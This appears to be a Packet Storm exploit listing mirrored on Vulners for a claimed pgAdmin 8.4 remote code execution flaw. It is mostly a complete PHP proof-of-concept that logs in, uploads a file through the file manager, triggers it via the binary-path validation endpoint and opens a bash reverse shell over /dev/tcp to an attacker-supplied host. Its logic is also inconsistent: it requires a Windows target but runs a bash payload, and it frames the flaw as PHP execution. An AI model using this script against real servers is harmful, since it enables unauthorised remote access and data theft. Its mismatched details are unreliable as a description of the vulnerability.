Lucene search
K

pgAdmin 8.4 Code Execution

🗓️ 02 Sep 2024 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 368 Views

pgAdmin 8.4 PHP Code Execution Vulnerabilit

Code
`=============================================================================================================================================  
| # Title : pgAdmin 8.4 PHP Code Execution Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) |  
| # Vendor : https://www.pgadmin.org/download/ |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] pgAdmin versions 8.4 and earlier are affected by a remote reverse connection execution vulnerability via the binary path validation API.   
This vulnerability allows an attacker to execute a reverse connection on the server hosting PGAdmin, posing a severe risk to the integrity   
of the database management system and the security of the underlying data.  
  
[+] Description:  
  
The generateReverseShell function: Generates a reverse connection payload that uses netcat (or equivalent) to open a reverse connection with your machine. You will need to replace "YOUR_IP" and "YOUR_PORT" with your machine's IP address and the port you are listening on.  
  
exec in PHP: Runs the command that opens a reverse connection using bash and executes it on the target.  
  
[+] How to use it:  
  
Modify "YOUR_IP" and "YOUR_PORT" in the generateReverseShell function to match your machine.  
  
Verify that your machine is listening on the specified port using nc or a similar tool:  
  
nc -lvnp YOUR_PORT  
  
[+] Run the code. If the exploit is successful, you will get a reverse connection to the target machine.  
  
[+] Line : 156+157  
  
$ip = 'YOUR_IP'; // Replace with your machine's IP  
$port = 'YOUR_PORT'; // Replace with the port you want to use  
  
[+] Line : 164+165+166  
  
$targetUrl = 'http://target-url.com'; // Replace this with the actual address  
$username = 'admin'; // Username (if required)  
$password = 'password'; // Password (if required)  
  
  
[+] Save As poc.php  
  
[+] usage : cmd=> php poc.php  
  
[+] payload :  
  
<?php  
  
class PGAdminExploit {  
private $targetUrl;  
private $csrfToken;  
private $username;  
private $password;  
  
public function __construct($targetUrl, $username = '', $password = '') {  
$this->targetUrl = rtrim($targetUrl, '/');  
$this->username = $username;  
$this->password = $password;  
}  
  
public function exploit() {  
if ($this->authRequired() && (!$this->username || !$this->password)) {  
die("The application requires authentication, please provide valid credentials.\n");  
}  
  
if ($this->authRequired()) {  
$this->authenticate();  
echo "Successfully authenticated to pgAdmin\n";  
}  
  
if (!$this->onWindows()) {  
die("This exploit is specific to Windows targets!\n");  
}  
  
$fileName = 'reverse_shell.php';  
$this->fileManagerUploadAndTrigger($fileName, $this->generateReverseShell());  
}  
  
private function authRequired() {  
$res = $this->sendRequest('GET', $this->targetUrl . '/');  
return strpos($res, 'Location: login') !== false;  
}  
  
private function onWindows() {  
$res = $this->sendRequest('GET', $this->targetUrl . '/browser/js/utils.js');  
if ($res) {  
$platform = $this->getStringBetween($res, "pgAdmin['platform'] = '", "';");  
return $platform == 'win32';  
}  
return false;  
}  
  
private function authenticate() {  
$loginPage = $this->sendRequest('GET', $this->targetUrl . '/login');  
$this->setCsrfTokenFromLoginPage($loginPage);  
  
$res = $this->sendRequest('POST', $this->targetUrl . '/authenticate/login', [  
'csrf_token' => $this->csrfToken,  
'email' => $this->username,  
'password' => $this->password,  
'language' => 'en',  
'internal_button' => 'Login'  
]);  
  
if (strpos($res, 'Location: login') !== false) {  
die("Failed to authenticate to pgAdmin\n");  
}  
}  
  
private function setCsrfTokenFromLoginPage($response) {  
if (preg_match('/csrfToken": "([\w+.-]+)"/', $response, $matches)) {  
$this->csrfToken = $matches[1];  
} elseif (preg_match('/<input.*?id="csrf_token".*?value="(.*?)"/', $response, $matches)) {  
$this->csrfToken = $matches[1];  
} else {  
die("Failed to obtain the CSRF token\n");  
}  
}  
  
private function fileManagerUploadAndTrigger($filePath, $fileContents) {  
list($transId, $homeFolder) = $this->fileManagerInit();  
  
$formData = [  
'newfile' => new CURLFile($filePath, 'application/octet-stream', $filePath),  
'mode' => 'add',  
'currentpath' => $homeFolder,  
'storage_folder' => 'my_storage'  
];  
  
$res = $this->sendRequest('POST', $this->targetUrl . "/file_manager/filemanager/{$transId}/", $formData, true);  
  
if (strpos($res, '"success":1') === false) {  
die("Failed to upload file contents\n");  
}  
  
$uploadPath = $this->getStringBetween($res, '"Name":"', '"');  
echo "Payload uploaded to: {$uploadPath}\n";  
  
$this->sendRequest('POST', $this->targetUrl . '/misc/validate_binary_path', json_encode([  
'utility_path' => substr($uploadPath, 0, -15)  
]), true);  
}  
  
private function fileManagerInit() {  
$res = $this->sendRequest('POST', $this->targetUrl . '/file_manager/init', json_encode([  
'dialog_type' => 'storage_dialog',  
'supported_types' => ['sql', 'csv', 'json', '*'],  
'dialog_title' => 'Storage Manager'  
]));  
  
$transId = $this->getStringBetween($res, '"transId":"', '"');  
$homeFolder = $this->getStringBetween($res, '"homedir":"', '"');  
  
if (!$transId || !$homeFolder) {  
die("Failed to initialize a file manager transaction Id or home folder\n");  
}  
  
return [$transId, $homeFolder];  
}  
  
private function sendRequest($method, $url, $data = [], $multipart = false) {  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, $url);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);  
  
if ($method == 'POST') {  
curl_setopt($ch, CURLOPT_POST, true);  
if ($multipart) {  
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);  
} else {  
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));  
}  
}  
  
if ($this->csrfToken) {  
curl_setopt($ch, CURLOPT_HTTPHEADER, [  
"X-pgA-CSRFToken: {$this->csrfToken}"  
]);  
}  
  
$response = curl_exec($ch);  
if (curl_errno($ch)) {  
die("cURL Error: " . curl_error($ch) . "\n");  
}  
  
curl_close($ch);  
return $response;  
}  
  
private function getStringBetween($string, $start, $end) {  
$string = ' ' . $string;  
$ini = strpos($string, $start);  
if ($ini == 0) return '';  
$ini += strlen($start);  
$len = strpos($string, $end, $ini) - $ini;  
return substr($string, $ini, $len);  
}  
  
private function generateReverseShell() {  
// حمولة الاتصال العكسي باستخدام Netcat  
$ip = 'YOUR_IP'; // استبدل بـ IP الخاص بجهازك  
$port = 'YOUR_PORT'; // استبدل بالمنفذ الذي تريد استخدامه  
$shell = "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/$ip/$port 0>&1'\"); ?>";  
return $shell;  
}  
}  
  
// مثال على الاستخدام  
$targetUrl = 'http://target-url.com'; // استبدل هذا بالعنوان الحقيقي  
$username = 'admin'; // اسم المستخدم (إذا كان مطلوبًا)  
$password = 'password'; // كلمة المرور (إذا كانت مطلوبة)  
  
$exploit = new PGAdminExploit($targetUrl, $username, $password);  
$exploit->exploit();  
  
?>  
  
Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation